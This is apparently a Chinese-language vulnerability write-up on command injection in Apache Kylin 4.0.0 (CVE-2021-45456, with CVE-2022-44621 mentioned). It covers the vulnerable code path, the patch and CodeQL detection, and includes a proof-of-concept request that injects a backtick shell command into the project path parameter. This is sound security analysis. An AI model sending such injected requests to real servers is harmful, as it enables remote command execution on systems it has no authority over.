CVE-2021-45456 漏洞是rest api 接口参数project 存在命令注入,CVE-2022-44621 漏洞是jobid 参数存在命令注入,原理相似,这里以分析CVE-2021-45456 为例,跟踪下这两个漏洞。
1. 漏洞概况
影响版本:4.0.0
Mitigation:
Users of Kylin 4.0.0 should upgrade to 4.0.1 or apply patch https://github.com/apache/kylin/pull/1781.
Credit:
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
描述:project 参数存在命令拼接
2. 漏洞分析
2.1 漏洞环境搭建
1 | docker pull apachekylin/apache-kylin-standalone:4.0.0 |
2.2 漏洞原理分析
很简单的命令拼接漏洞,如下
- DiagnosisController#dumpProjectDiagnosisInfo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16/**
* Get diagnosis information for project
*/
public void dumpProjectDiagnosisInfo(final HttpServletRequest request, String project,
final HttpServletResponse response) {
try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) {
String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile());
setDownloadResponse(filePath, response);
} catch (IOException e) {
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
}
}
- project 参数存在命令拼接
DiagnosisService#dumpProjectDiagnosisInfo
1
2
3
4
5
6
7
8
9
10
11
12
13
14public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException {
Message msg = MsgPicker.getMsg();
ProjectInstance projectInstance =
ProjectManager.getInstance(KylinConfig.getInstanceFromEnv())
.getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project));
if (null == projectInstance) {
throw new BadRequestException(
String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project));
}
aclEvaluate.checkProjectOperationPermission(projectInstance);
String[] args = { project, exportPath.getAbsolutePath() };
runDiagnosisCLI(args);
return getDiagnosisPackageName(exportPath);
}- 中间的ValidateUtil 只是用来验证project 对应的projectInstance 是否存在,并不涉及到污点流
DiagnosisService#runDiagnosisCLI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20private void runDiagnosisCLI(String[] args) throws IOException {
Message msg = MsgPicker.getMsg();
File cwd = new File("");
logger.debug("Current path: {}", cwd.getAbsolutePath());
logger.debug("DiagnosisInfoCLI args: {}", Arrays.toString(args));
File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
if (!script.exists()) {
throw new BadRequestException(
String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
}
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
if (cmdOutput.getFirst() != 0) {
throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
}
}
2.3 POC
1 | GET /kylin/api/diag/project/%60touch%20123%60/download HTTP/1.1 |
- 需要先创建名为 touch123 的project
3. 补丁分析
https://github.com/apache/kylin/pull/1781
project 变成了projectName,中间经过了ValidateUtil.convertStringToBeAlphanumericUnderscore(project),仅限[a-zA-Z0-9_]字符集,无法攻击了
1 | public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { |
4. CodeQL 复现
本身没什么难度,默认规则即可发现
5. 新发现
CodeQL还发现一条链
5.1 cubes migrate
- 但是需要开启kylin.tool.auto-migrate-cube.enabled
5.2 CVE-2022-44621
- 这个其实是CVE-2022-44621
- 参数jobid 导致的命令执行
- 参考https://www.cnblogs.com/escape-w/p/17152268.html 中提到该漏洞实际不可触发,因为jobid 生成不可控,待验证,这两个洞原理相似,就不再拓展分析CVE-2022-44621了